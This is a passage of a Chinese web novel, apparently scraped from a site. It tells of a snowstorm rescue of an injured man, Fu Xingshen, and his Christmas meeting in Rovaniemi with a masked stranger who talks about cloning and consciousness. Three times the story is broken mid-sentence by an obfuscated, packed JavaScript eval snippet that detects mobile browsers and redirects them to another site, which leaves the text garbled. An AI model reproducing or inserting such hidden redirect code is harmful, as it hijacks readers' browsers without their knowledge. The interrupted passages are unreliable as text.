该死,到底是谁分的组,非要把王虎那群人和傅行深分在一队,脑子里是灌浆糊了吗?! “没事出了些问题,我去找巡逻队。” 他脚步匆匆神色慌急,可不像是没事的样子。 时意几乎一瞬间就猜到,多半是傅行深出事了。 他顾不及开门便把热水壶原地搁在了门外,扭身便追着人跟了上去。 “带我一起去,我和你们一起找。” 说罢时意便不由分说地坐上了开上山的巡逻车。 今夜的雪始终没有停过,时意透过车窗看向外面,纷扬的大雪几乎要将山体淹没。 傅行深失踪了。 不同于其他人对傅行深的印象,时意清楚知道他不是什么身材高大却手无缚鸡之力的钢琴演奏家。 相反,时意见过他身手悍厉地逮捕了闯入研究所的暗杀者,眼都不眨地抬枪射杀了对方。 可王虎那群人却安然无恙回来了,时意与他们擦肩而过时瞥到了他们脸上的伤,他们说没见过傅行深是假的,时意克制自己不要往最坏的结果去猜想。 “三组今天下午都在哪些地方活动过?” 到了山脚下巡逻队长先划定搜索范围,他们只有三十多个人,人手不够的前提下只能放弃地毯式搜索。 领队抬起手给巡逻队长比划,不一会儿带来的人便都撒了出去。 “傅行深……老傅!” 众人呼喊的声音惊起了林中归巢的飞鸟,可傅行深却始终不见踪影。 时意不属于搜救队的一员因此没有人安排他的去处。 空荡荡的巡逻车内时意看着手中的通讯器沉默了片刻,随后几下操作进入了一个隐蔽的程序后台,与此同时通讯器屏幕上出现了一颗闪烁的红点。 “咔嚓——” 车身上已经凝结出一层薄冰,时意用力推开车门,森冷的寒风裹挟着飞雪卷入车厢内,几乎瞬间就摄走了全部的温度。 时意按了按被风雪吹得有些胀痛的手臂,关上车门走入了浓郁的夜色。 “滴——滴——” 通讯器不时发出偏离位置的提醒,时意看着屏幕中一动不动闪烁着的红点,深觉这个追踪器的简陋—— 它没有距离和方向的提示,时意甚至不知道自己现在在什么方位。 屏幕上只有一颗红点,那代表着傅行深此刻的位置,却并没有标注方位和距离,就像天上悬挂的北极星,它明晃晃地定在那里,你却不知道该如何才能抵达。 时意只能一步一步摸索着前进,一旦偏离目标通讯器就会发出震动提醒。 远处依稀传来巡逻队呼唤傅行深的名字,山间呼啸的风雪几乎须臾便将它们吹散,时意充耳不闻,沉浸在逐渐靠近傅行深的每一次试探中。 直到通讯器响起抵达目标的蜂鸣声。 “傅行深?” 漆黑一片的雪夜里时意呼唤傅行深的名字。 回应他的只有四周万籁的静寂,簌簌落雪充盈起整片绵延悄静的万里群山。 傅行深从昏睡中逐渐清醒过来时,左腿便传来一股钻心的疼痛,他试图动了动腿,肌肉被冻得几近僵硬,而他的小腿骨折断了。 他此刻正躺在一处陡坡下,被一棵歪斜的松树拦腰挡住。 万幸有这棵树,否则他会顺着这坡一路滚到沟底,多半会在顷刻间没命。 而这一切都拜王虎那群人所赐。 自从午后见到那群人起傅行深便起了戒心,因此当注意到他们跟在自己身后时他一点也没有意外,只是没想到这群人也早有准备—— 他们不知道从哪里搞到了捕兽夹,那种咬合力能将鬣狗的后肢扎穿的大型捕兽夹轻而易举地夹断了傅行深的胫骨,剧痛中不知道是谁从身后给了他一闷棍。 漫天的雪如同雪白的棉花披盖在傅行深的身上,血液的流失加上长时间的失温让他在恍惚中仿佛置身于一片暖融之中,一股股暖流奔腾在身体的每一处角落。 傅行深感到身体开始发热。 他知道自己正在极速失温,而感到闷热恰是自己即将冻死的征兆。 实际上他的体温或许已经下降到了一个极度危险的水平,用不了太久他就会在大脑给出的错误信号中被活活“热死”。 可他还是控制不住地扯开领口,让寒冷的风灌进胸膛,雪花落在他的身上甚至不会那么快融化。 他很快就要冻死了。 傅行深有了心理准备,事实上他很久之前就开始给自己做足了思想建设。 末日来临前他的父母已经去世,他孑然一身游走在枪林弹雨之间,受勋时常能听到他们赞扬他“英勇无畏”,可实际上他只是无所谓面对死亡。 凭着这样的“无畏”,他很快就到达甚至超越了父亲曾经的荣耀,升任亚洲总指挥官时所有人都在恭祝他,贺喜的词汇仿佛倒豆子似的向他倾轧而来,可傅行深敢说,全场最平静的那个人,应该是他自己。 方舟启航的那一天,有些人激动地欢呼,有些人悲痛落泪,傅行深的心里却谈不上有什么感受,只是计划好了自己的死期—— 强大的心理素质不足以令他产生寻死的念头,他只是对这个世界了无牵挂,没有人再需要自己,自己也不再需要别人。他与这个世界的最后一丝联系随着方舟的离去而断得彻底。 于是傅行深告诉自己:如果真有那么一刻不得不面对死亡,我不会做任何挣扎,这不是消极赴死,只是这世界我已经足够精彩地活过了。 这样想着,傅行深便觉得死亡也不过就像一滴水汇入湖泊,迟早的事。 而这一刻,傅行深终于等到了。 迟钝的心跳在胸膛发出一下下闷击,他的心脏如同泵不上汽油的发动机还在做着最后的挣扎,傅行深的呼吸几乎冰凉。 “傅行深?” 耳边似乎听到有人在呼唤他。 傅行深的心跳开始不自觉加快,他如同一台待机的机械听到指令一般艰难地睁开了双眼。 “傅行深你在哪?” 又是一声呼唤。 这次他听得更清楚了,是时意在找他。 傅行深知道自己的失踪或许会惊动基地里的人,没准还要麻烦其他人赶来搜救,但他只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161045|180638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱歉,他的状态根本撑不到救援到来。 可时意怎么也来了? 他错过了打热水的时间,时意是不是等不到自己着急了? 傅行深的思绪乱七八糟,精神已经陷入混沌无序的状态,可他仍旧用最后一丝清明的理智控制着自己没有回应。 头顶的声音消失了,傅行深无声地舒了口气,时意应当没发现什么就离开了。 其实就算发现了也改变不了什么,他就要死了,而时意只有一个人,救不了他。 傅行深安然地闭上眼,想着时意找不到他或许会尽快和巡逻队汇合,然后坐上车返回他们温暖的宿舍…… “傅行深,你为什么不应声?” 那声音突然出现在耳边,震耳欲聋,傅行深以为自己出现了幻觉,极力睁开双眼—— 时意出现在他身边,简直像神兵天降。 “……” 他是怎么蹦下来的? 要不是身体冻得僵硬,傅行深很想抬头看看这坡到底有多高。 坡实在是陡,所以时意刚开始根本没注意这里有一处深沟,他的通讯器不断蜂鸣提醒他傅行深就在这里,可他怎么也找不到。 直到他即将要离开这里时,他注意到了这片被积雪覆盖的陡坡……还有那几乎与雪色融为一体的傅行深。 时意庆幸自己下车时顺了不知道谁的一件厚棉袄,他拍去积雪后拢紧傅行深扯开的领口,用宽大的棉衣包裹住傅行深,隔着厚重的棉袄紧紧地抱住了他。 这拥抱是为了防止棉袄滑落,毕竟傅行深冻得几乎动不了了。 身体在一分一毫地回暖,傅行深从小腿逐渐清晰的锐痛中意识到了这一点,静寂的夜色下他能清楚地感知到身旁时意滚烫的呼吸。 他好像又死不了了。 不,不。 来的人只有时意,傅行深的腿伤得很严重,断裂的骨茬戳出了伤口暴露在空气中,森白的断骨看着很是吓人,他的整个左小腿几乎被捕兽夹咬烂了。 时意一个人帮不了他,留在这里反倒危险。 傅行深的思绪逐渐清晰起来,他很感动时意在这个时候都没有放弃他,这个骗子比他想象中还要讲义气……可他不能因为自己把命都丢在这里。 傅行深自觉想通了这一切,因此当他暖和到足够开口说话时,他回答了时意刚才的问题。 你为什么不应声? “我伤的很重没有力气了,你快去和救援队汇合吧。” 他说的是“汇合”,却没说他自己怎么办,也没提让时意找救援队支援的事。 言下之意是——你去和他们汇合吧,别管我了。 自己的小命都要丢了还有闲心思操心别人怎么样。 他总是这个样子。 时意很少感受到愤怒的情绪,但此刻怒火在他心中充盈。 傅行深永远是这样,他将别人的命看得比什么都重要,可轮到他自己,他反倒看不上了。 时意抬头凝视夜空深呼吸,试图用凛冽的寒风浇熄心头熊熊燃烧的怒火。 一次又一次,时意几乎恶狠狠地在心里算账。 他费劲心力一次又一次把他拽回来,可这个人却从来不懂得珍惜,践踏自己,也践踏别人。 “我说真的,这里太冷了,你要是实在想看星星可以改天找时间来……” “闭嘴。” 身旁的人冷冷打断他的话,傅行深怔楞,然后就被时意拽着领子骂地狗血淋头—— “闭嘴吧傅行深。别再给我说什么我走你留下这种自我感动的蠢话了!你大概已经忘了,你这条命是我救的,它已经属于我了没有我你不知道已经死了多少次,你没有权利处置它你明白吗?你凭什么处置它!” “……” 傅行深印象中的时意永远寡淡平静,理智得仿佛摒除了人类的七情六欲,他从没见过时意这么疯狂过。 咫尺的距离,傅行深毫无阻碍地望进时意盛怒的眼底,平静被击碎后露出那堵墙后面极力掩埋的真实。 真实的怒火,痛苦和支离的恨意。 枯槁得就好像一棵已经死去了很多年的大树,连灵魂都透着行将就木的疲惫。 傅行深面对时意的质问没有说话,介于清醒和失神间的目光紧紧锁住时意。 几近窒息的对视中,时意终于颓然地确认了一个事实——傅行深是他永远都无法奈何的魔咒。 17. 第 17 章 即便所有人都在猜测时意推选傅行深担任总指挥官的深意,猜测二者之间是否有不可告人的密辛……可事实上一切都与先前没有太大的不同。 研究在唤醒【亚当】后进入关键阶段,整个项目研发组几乎忙得脚不沾地,而时意作为【亚当】项目和【方舟计划】的负责人更是在不间断的实验和会议中来回穿梭。 时意和傅行深还从未正式见过面。 令人难以置信,但的确是事实。 直到【亚当】通过所有测试后即将接受全球的治理权限,这是一件大事,为此研发组在这段时期不知道递交了多少份测试数据来证实【亚当】的安全性。 除此以外每一位研发组成员都被联合政府审查组单独问询过,问询内容关于【亚当】的研发过程、数据存储以及权限设置等等事无巨细都经过了反复多次的质询确认。 漫长的询问结束后随之而来的是冗长的会议评审,不同的专家组、领导组、决策组面对研究所提交的数据以及他们接受问询时的录像进行反复讨论审查,技术方面还需要组建专门的团队对【亚当】的数据进行随机抽取检查、评估…… 那段时间所有人都吊着一口气。 所幸一切都符合规定和预期,在【亚当】检验完成的三个月后,地球联合政府终于敲下了“同意转移权限”的法槌。 然而,还没等向外界正式公布这一讯息,作为时任联合政府防卫队队长、【方舟计划】亚洲总指挥官的傅行深就登上了全球通缉榜名单。 通缉理由是:企图刺杀政府要员未遂后逃逸。 时意对此事毫不知情,彼时他正处于项目结束后的监管期,官方称其为“观察期”,目的是为了确保研发组成员与项目内容完全脱离,同时防止他们泄露机密。 为此他们被分散到世界各地进行单独的监管,时意被遣送到了普罗旺斯,这里环境舒适气候宜人,勉强算是个不错的去处。 等到时意终于脱离漫长的监管期能够使用电子设备时,傅行深已经在外“逃逸”了长达八个月的时间。 彼时长期的躲藏和无时无刻的精神紧绷令傅行深疲惫不堪,因此当他再一次遇到追捕时他几乎放弃了无谓的逃跑。但在这时,他的通讯器却震动了起来—— 【向东南方向撤退,穿过咖啡馆后门有一条小路,路的尽头是贝肯农庄的后仓,仓库里有一辆加满汽油的轿车。】 【东经13°15'',北纬53°27'',去这里。】 发件人是“ZEIT”,一个陌生的账号,同样也是一切交流的开始。 ? 傅行深从俄罗斯离开抵达罗瓦涅米的时间与他预料中的一致,依照“ZEIT”的指引他在当地一户人家投宿并受到了他们热情的款待。 房屋的主人是一个叫“安东尼”的男人,乱糟糟的金发下是一双翡翠绿色的眼睛,看上去很年轻但时常不修边幅。 他有一位温柔美丽的妻子,据他二人所说他们也是从德国行政区迁居过来的,在这里已经待了快两年的时间。 “诺拉喜欢这里的松林,白雪覆盖下始终焕发着生机盎然的绿意,有时晴天去林中踩雪还能碰上觅食的野麋鹿……” 傅行深在这静谧的雪中小镇里度过了一个安稳的圣诞节。 每天清晨被松林环抱的小镇升起袅袅炊烟,松枝燃烧散发出的油香味唤醒了小镇的一天。 在喝上一杯诺拉冲泡的热可可后,傅行深和安东尼便裹着一身暖意徒步走去镇中的市集—— 临近圣诞节的日子这里总是十分热闹,节日的气息弥漫在小镇的每一个角落。 傅行深会跟着安东尼在市集上挑选各种各样的装饰品,从五颜六色的圣诞彩灯到挂在墙壁上的槲寄生,从诺拉反复叮嘱的蛋奶酒到摆在壁炉前造型可爱的胡桃夹子。 包括安东尼执意为三人挑选的圣诞帽,雪白柔软的帽沿上缝着画风简易的煎饼人、驯鹿和小铃铛,帽子两侧是伸出的巨大的鹿角,圣诞帽配鹿角,合理中透着一丝诡异。 傅行深拒绝戴其中的任何一顶帽子,被安东尼指责不尊重他们当地人的节日习俗。 “谢谢你安东尼,你已经给我扣上了一顶大帽子……” 另外,一对迁居过来不久的德国夫妇算哪门子的当地人啊。 平安夜的傍晚傅行深陪安东尼上了一次山,两个人穿戴厚实扛着油锯锯下了一棵挺拔舒展的松树,当返回小屋时两人看到庭院中意外停着一辆黑色的小轿车。 傅行深注意到安东尼的神情变得严肃起来,明明还是往日里那副胡子拉碴的邋遢模样,却仿佛顷刻间变了一个人一样。 安东尼拜托傅行深将圣诞树拖进库房,走进屋子的那一刻他的肩背挺直了,傅行深才惊觉安东尼的身高其实和他差不多,只是平日里总是微弯着背让他看上去不是那么高大。 兴许是来了什么重要的客人。 傅行深有一瞬间担心是自己行迹暴露引来了追兵,可安东尼明显熟识那辆车的主人,否则他会在第一时间让自己离开。 傅行深相信安东尼的人品,不止是因为他是“ZEIT”推荐的人选,还来源于他这些日子里的观察。 安置好圣诞树后傅行深便决定返回小屋,推开仓库门的那一刻来访的客人碰巧要离开。 傅行深只来得及看到一截深灰色的大衣滑进车厢车门便关上了,傅行深隐隐听到客人调侃安东尼的形容—— “……你真应该好好修剪修剪你的胡子了,否则诺拉该后悔当时头脑发热嫁给了你……” 傅行深对此深以为然。 安东尼站在车外叉着腰反驳,一张脸气得涨红,顶着车内人的目光亲了诺拉一口,嚷嚷道: “嫉妒已经让你失去理智了吗时?你也是时候感受爱情的滋润了……” 还没等他说完轿车的车窗便徐徐关阖了,傅行深看过去时只看到一双沉静的黑眸一闪而过。 竟然是个中国人。 安东尼和诺拉目送着来客的车拐了个弯驶出街口,招呼傅行深进屋。 “刚才看到他的车停在院里吓了我一大跳……对了,傍晚我和老傅上山转了好大一圈才选中了那棵树,我敢说它是我见过最标志的圣诞树,等我把它修剪修剪立到屋子里,把那些小彩球都挂上去……” 那个人是谁呢? 在安东尼絮絮叨叨的背景音中傅行深不由自主地思索着,他知道过于窥探安东尼的隐私是一种很不礼貌的行为,然而只在心中想想应当不算冒犯吧? 他实在太过好奇了。 安东尼必定认识“ZEIT”因为就是他的推荐才使得傅行深得以投宿在这里。 安东尼又认识刚才那个神秘的中国男人,而“ZEIT”和他交流用的一直也是中文…… 傅行深知道将这两个人往一起联想多少有些异想天开,不过这样的想法就像一粒蒲公英的种子,它顺着一阵意想不到的风吹落到傅行深的心底,无论傅行深想或是不想,那颗种子已经悄悄生根发芽了。 圣诞节当夜,在互相祝福并收到礼物后傅行深和安东尼夫妇享用了一顿丰盛的晚餐。 饭后傅行深同往常一般自觉包揽下刷碗的工作,在窗外漫天飞雪和室内壁炉暖融的火光中收拾残局。 他将碗筷刀叉规整到一起放进洗碗池中(安东尼夫妇真的非常体贴,为了照顾他的习惯甚至特意准备了一副竹筷),“哗哗”的水声中傅行深听到身后传来脚步声。 “嘿老兄。” 是安东尼,他的头上还戴着前些日子采购的那顶滑稽的圣诞帽。 他抱臂靠在一旁看傅行深动作,夸张地感叹道:“自从你来了我再没干过洗碗的活,这叫我怎么感谢你才好!” 傅行深笑了笑,摇头说道:“中国有句老话叫做‘礼尚往来’,你和诺拉收留我不说还邀请我一起过圣诞节,我真的很感激,收拾碗筷这种微不足道的小事你就放心交给我来就好。” “顺便一提,我不清楚你们这里圣诞夜有什么活动,老实说我觉得我应该出门去找点有意思的事,否则你该说我妨碍你们的二人世界了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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傅行深几乎从没来过这么热闹的地方,大家在盛大的节日里为彼此送上祝福,每个人脸上都洋溢着单纯幸福的快乐。 在这一刻,大家似乎都不约而同地忘记了什么末日,什么战争,聚集在一起为新的一年到来由衷地感到欢快。 傅行深想起从前父母还在时一家人坐在一起吃年夜饭,长辈们递来压岁钱,他摸着厚实的红包笑得见牙不见眼,吉祥话背得铿锵有力——“年年有今日,岁岁有今朝!” 很多年后的今天,在这异国他乡举目无亲的陌生小镇里,傅行深还是由衷地想要念出这句话。 可在场的没一个中国人,他更应该应景地祝上一句“MerryChristmas”。 傅行深的心底突然油然而生出一种出离世外的孤独,将他与四周环绕的热闹氛围隔绝开来。 “麻烦来一杯威士忌。” 傅行深坐在吧台区的高脚凳上,隔着巨大的玻璃窗可以看到窗外彩灯映照下五彩斑斓的雪花纷纷扬扬。 这样的天气真的很适合来一杯烈性酒。 吧台后是小镇上唯一一家酒馆的店长,今夜狂欢派对他来这里凑热闹顺便打打下手。 听到傅行深的话他摇了摇头,粗犷的络腮胡遮挡下他的脸上写满歉意: “抱歉年轻人,今夜只提供Grog(格洛格热饮),圣诞节特供,整晚畅饮不限量。” 说着展示出身后满满当当摆放紧凑的玻璃酒杯,如他所言每一杯都盛装着同样的酒,丁香和肉桂的气息在热烫的朗姆酒中蒸腾出独特的香味,杯中还撒了研磨粉碎的杏仁,甜香四溢。 …… 傅行深妥协了,他都可以为五彩缤纷的拐杖糖妥协,怎么就不能接纳整夜畅饮不限量的格洛格呢? “那我要一杯……” “两杯,谢谢。” 有人挨着傅行深在他身旁落座,打断了他未说完的话。 傅行深循着声音转头看过去,面具下他的瞳孔不自觉放大一瞬,随即对上来人那双与他如出一辙黑褐色的眼眸。 两人对视,平静的眸光下是傅行深动荡不安的心跳声。 这双眼睛他见到过。 是安东尼夫妇昨晚接待过的那个神秘的客人。 也可能是他素未谋面的“ZEIT”。 18. 第 18 章 “介意我坐在这里吗?” 说着那人却已经十分不客气地接过酒杯,坐在了一旁。 傅行深对此不作理会,自顾自喝着杯中的酒。 不远处的镭射灯下传出一阵阵哄闹,反倒显得这边过于冷清。 “一个人来这里吗?” 那人又问,面具下的眼睛被阴影遮盖,像一只冷静又狡猾的狐狸,围着猎物频频试探。 傅行深见过他却并不了解这个人,如今他找过来显然也不是为了问这些无聊的问题…… 可比起旁敲侧击地探问傅行深更喜欢开门见山直来直往的交锋,于是他恶劣地回答道: “我是和朋友一起来的,喏,那边那个就是。” 说着随手指向不远处一个金发碧眼的漂亮男生,那男生感受到二人的注视嘴角咧开一个灿烂的笑容,他抬起手臂冲傅行深挥了挥,白皙细腻的脸颊上透着一抹醉红,显得可爱又迷人。 傅行深对这样的情形很是满意,看向身旁即便参加圣诞派对仍然穿着一身黑的男人愉悦地挑了挑眉。 言下之意是,看到了吗我有同伴,别来随便搭讪。 傅行深故意表现出对面前男人的“搭讪”很是苦恼,谁成想下一刻那漂亮男生所在的包围圈便发出一声惊呼,围观的人群开始起哄,动静大得像是要把房顶都掀开。 傅行深扭头去看,正瞧见方才还跟自己挥手的男生在激烈的音乐节奏下开始扭动腰身,一边跳舞一边将身上穿着的上衣一件件褪去,然后攀上了贴在他对面的一个男人的身上,两个人眼神火热对视片刻后便吻在了一起,天雷勾地火。 傅行深:“……” 身旁的人意味不明地哼笑一声。 “看来你的同伴也不怎么需要你啊。” 显而易见傅行深拙劣的谎言并没有把他唬住,傅行深也不甚在乎,反倒看着狂欢的人群反驳道: “你懂什么,末日都要来了谁知道自己还能活多久?也许几天后,也许就在明天生命就会走向终结,能在这样的夜里暂时忘掉烦恼来一场纵情狂欢,何尝不是一种快乐。” 顺着傅行深的目光看过去,这样充满激情躁动狂欢的夜里,每个人的脸上都洋溢着最纯粹的笑容。 这样简单的快乐能够感染周遭一切人和事物,让其染上幸福的色彩,这是万能如【亚当】都无法做到的事。 诺克斯有些许好奇,这到底是怎样奇怪的情绪,能够令人摒弃掉所有的痛苦只剩下欢乐。 于是他向傅行深真诚地发出邀请—— “要试试吗?你说的‘纵情狂欢’?” 他向上天发誓自己真的是非常严肃且认真地发出提问,可傅行深却几乎被面前这个神秘男人的语出惊人吓破了胆子。 他还从没见过这么……不知怎么形容的人。 直率地有些令人难以招架。 “你对每一个陌生人都这样吗?”傅行深微皱着眉问道。 男人这副模样让他感到被冒犯,可不是谁都对感情这么随便的。 “当然不。” 男人摇头,嗓音如同他本人带给人的感觉,清冷又独特,他说:“我见过你,那就不算陌生人。” 傅行深想起隔着车窗看到的那双眼睛,又转而看到面前这个人遮挡在脸上的面具—— “你见过我,我却未必见过你。” 说着,他出手迅疾想要摘掉那男人的面具,不过对方似乎从坐在这里开始就没放下过戒备。 因此傅行深甫一动作他便有所察觉,灵活地避开了傅行深伸过来的手按住了摇摇欲坠的面具。 差一点傅行深就要得手了。 “想知道我是谁?就这么迫不及待吗?” 面对面具下投来的目光,傅行深耸肩并不否认自己对他身份的好奇: “你的反应倒是快得出乎我预料。不过你是安东尼的朋友,我又住在他家里,迟早都会见面你不觉得这样遮遮掩掩很多此一举吗?” 男人的眼神在四周转了一圈后收回来,紧绷的肩背有一瞬间的松懈,却仍是摇摇头不愿露出真面目来。 “还不是时候。” “那是什么时候?” 傅行深毫不退让。 男人垂下眼沉默了片刻,实际上他自己也不知道答案,于是只能告诉傅行深: “总会有那一天的,但肯定不是现在。” 他的话就像他这个人一样,半遮半掩处处都透露着神秘二字。 傅行深不再自讨没趣,喝着手边逐渐变得温凉的格洛格在喧闹的吧台边兀自出神。 不得不说镇长老艾尼真的很懂现在年轻人的想法,装饰在墙壁上五光十色的灯带伴随着震耳欲聋的重金属摇滚在黑暗中明灭闪烁,人们在迷醉的昏暗中热烈激吻,格洛格可喝不出这样的效果,只能说现实中的压抑让他们在这一刻得到了全然的释放。 傅行深和神秘男人反倒成了这场新年派对中最格格不入的存在。 “你看这像不像是末日来临前最后的狂欢?” 傅行深突然开口问道,音乐声几乎要盖过一切,因此为了听清彼此的说话声二人靠得很近,傅行深敏锐的嗅觉在室内香水和酒精的干扰下仍然捕捉到了身边这个男人身上的味道。 浅淡,像是悄无声息融进了皮肤中,却带着无限延伸的漫长尾调。 男人并未觉察到傅行深的想法,听到他这么说摇了摇头: “末日早就已经开始了。不过目前生物芯片的采集工作已经在有序进行,只要投放了自己的生物芯片,等到未来某一天人类寻找到新的家园,完整的DNA信息能够让他们重获新生。 所以在我看来,眼前我们正在面临的一切苦难与其说是人类的末日,倒不如说是地球的倒计时,这样才更准确。” 人们的命运不再与这个世界息息相关,如今他们离开这个孕育自己种族的家园就像候鸟飞离湖泊一样轻易。 因此相比起眼前这些人是因为末日来临而狂欢,诺克斯觉得这更多是源于末日带来的混乱而无序的生活令他们无所适从。 毕竟,自从【方舟计划】开始筹备再加上【亚当】的顺利诞生,就像联合政府秘书长拜厄-冯森发表讲话时吹嘘的那样——“这些进步已经昭示了人类文明还远远未走到尽头”。 “生物芯片”技术的普及也为这一论点提供了强有力的佐证。 人类科技的进步已经足以通过DNA编码克隆出健康的身体,这具身体从内到外都与原来别无二致—— 一样独一无二的遗传信息、一样的血型、一样的容貌,甚至比原来的自己更加健康活力。 “生物芯片……嗤,拙劣的骗局罢了。” 傅行深毫不掩饰对它的蔑视,在他看来无论是多么健康的躯体,失去了主导它的独一无二的灵魂,那也不过是一具新鲜的躯壳罢了。 录入生物芯片这个想法是硕士期间攻读生命科学的余光率先提出来的,引起了社会许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161047|180638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多人的共鸣和支持。 倒不是因为这项技术有多新鲜,基因剪辑和活体克隆彼时早已经是生物医学领域学者们玩烂了的技术,但从没这么大规模地、官方地被架到台面上过。 如今一经提出,人们竟然昏了头似的认为这就是文明得以延续的最佳手段。 简直可笑。 神秘男人对他的看法并不感觉到惊讶。 实际上,就在他来到罗瓦涅米之前他才刚刚得知,傅行深之所以被骤然撤职通缉并非是因为那莫须有的“袭击政要”的蹩脚罪名,而仅仅是因为在联合政府绝密会议上对“普及生物芯片技术”的提案坚定投出了反对票…… 听诺克斯转述这件事的安东尼奥既震惊又莫名其妙觉得合理,想起曾经傅行深也给他们投过反对票不由幸灾乐祸道: “这家伙恐怕就没投出过‘赞同’吧,真是天道好轮回……话又说回来,他们这样赶尽杀绝是真的打算把联合政府转变成独裁者的天堂吧?” 安东尼奥的想法并不夸张,从联合政府用子虚乌有的罪名将傅行深踢出决议层并全球通缉开始,从那场会议中投出反对票的成员降职的降职,失踪的失踪开始,天就已经开始变了。 而此刻,新年派对上无人注意的角落一隅,诺克斯终于对傅行深撕开了自己面具的一角—— “全球普及的生物芯片在发放前曾经经过研究所的精密检测,检测结果一切正常。至少从技术层面来看,它不存在任何潜在的风险。” “所以,你为什么会认定它是一场‘骗局’?” 傅行深看似懒散地把玩着手里喝空的玻璃酒杯,实则始终留意着身侧男人的一言一行,因此在他提到“研究所”三个字时傅行深几乎是下意识地停下了动作。 不过这样的变化只在一瞬间,眨眼就被傅行深不着痕迹地掩饰了过去。 他看上去还是那副惫懒的模样,提到“生物芯片”时带着明显的不悦,让人止不住怀疑他的激愤中是否包含有对同僚余光的私怨。 毕竟,要不是傅行深的骤然撤职,余光到这会儿还在中东当他的和平大使呢,哪有机会踩着傅行深的脑袋一路高升呢? “我相信研究所的检测足够全面细致,但抛开技术问题不谈,克隆技术发展这么多年来,从来没人敢擅自打开人体克隆的禁区,可余光呢?凭一己之力撬开了潘多拉魔盒,从中释放出来的究竟是希望还是魔鬼?你是研究员相信你也清楚,限制人体克隆的从来都不是技术,而是伦理。” “当一个克隆体拥有和你相同的容貌、相同的基因,甚至在亲子鉴定中能够和你的父母兄弟亲缘匹配,那你如何证明‘你就是你’?他人又如何区分究竟哪个才是真正的你?” “……伦理问题确实是人体克隆难以界定的红线,不过想要区分出人类和克隆人还是比较容易的。” 诺克斯在攻读博士学位期间曾经因为好奇去旁听过一节特德-坎贝尔的课。 他是世界顶级脑科学研究专家,研究领域主要集中在意识的产生机制方面,提出过许多标新立异的观点。 彼时人体克隆虽然仍旧是研究学者们不可踏足的禁区,但早已有人开始思考关于该如何区分克隆体和本体的诸多问题,其中就有来听特德-坎贝尔这场讲座的学生。 面对类似这样的问题坎贝尔也十分慎重,他思索了片刻,静谧的午后阳光透过教室色彩斑斓的玻璃窗斜照进屋内,诺克斯时隔多年仍然对那节课、那个问题记忆犹新…… 19. 第 19 章 “首先我有一个问题想要与在座的各位一同探讨——大家认为意识是一种客观存在的物质吗?” …… 罗瓦涅米的圣诞节伴随着漫漫长夜还未走到尾声,傅行深裹紧大衣走进风雪之中,在他的身后诺克斯带着面具问出了同样的问题。 意识是客观存在的物质吗? 比起讲座上问题一经提出便惹来同学们热情的讨论,傅行深陷入了沉默,显然这个问题触及到了他的知识盲区。 他不得不深度挖掘自己多年前大学时期学习的物理和哲学知识,意识究竟算不算是一种物质? 如果它算,那么按照人类目前对物质的定义,它首先要能够被感知。 可连三岁小孩都知道:如果我想要感知到别人的意识,除非我有读心术。 那如果它不算呢? 如果意识不算是一种客观存在的物质,那它究竟是什么? 世间万物总该有它的定义。 漫天星辰间万古回荡的涟漪是物质,浩瀚宇宙中万千生灵的一呼一吸是物质,甚至就连我看向你的目光中也有亿万颗光粒在飞旋轻舞……可我们的思想呢? 傅行深的大脑陷入一片混沌,他选择遵循哲学的指引—— “没有物质就无法激发意识的产生,这么来看,意识是关于物质衍生而来的副产品。” …… 这在哲学课上该是满分的回答,同样也是世界目前对意识最主流的看法。 在多年前的那场讲座中,绝大多数人也同样赞同这一观点。 而对于这个答案,坎贝尔却坚定地摇头。 “这种观点至今无法解释两个问题:第一,对于本身无意识的物质,要让它产生意识除非有奇迹出现。至少,我们没办法让石头凭空产生出思想……” 台下传来三三两两的笑声。 “第二,我们的梦境和精神分裂患者的病例都证明,思维有能力创造出和你真实体验到的一样的时空现实。说得更加通俗一点,对于精神分裂患者而言,他们所看到和听到的景象以及声音,就和你正在读的这页书、坐的这把椅子一样真实……” “等等,你这么说让我有些迷糊了。” 傅行深打断诺克斯的描述,这些大段的理论让他晕头转向,逐渐脱离了最原始的问题。 “这些又与人体克隆有什么关系呢?” 面对傅行深的打断诺克斯没有丝毫不快,但这也让他意识到自己面对的并不是博学广识的老学究,无需将问题阐述地如此精确。 而傅行深足够聪明,他需要的只是将答案再稍稍简化些。 “抱歉是我的原因,让我们将问题变得简单点。基础生理学学过吗?我们都明白一个常识——除去发育异常和先天、后天的病变、生理缺陷等非自然情况,人类的大脑结构基本是一样的,那么为什么相同的机器会生产出不同的产品呢? 换句话讲,为什么面对同样的事物,相同的大脑构造会产生不同的意识呢?就比如今天晚上的这场大雪,我看到后想到的是雪天路滑要注意安全,而你可能会从这场雪联想起安东尼家里那杯滚烫浓郁的热可可。” “这是否是因为意识并非由人脑产生?人的大脑就像一台中枢处理器,我们的身体就是一台电脑,意识作为搭载信息的代码经由处理器储存在我们的身体当中,它会随着时间的推移不断储存进新的信息,也同样会随着我们的身体消亡而湮灭。” 傅行深似乎有些明白过来,接着诺克斯的话问道: 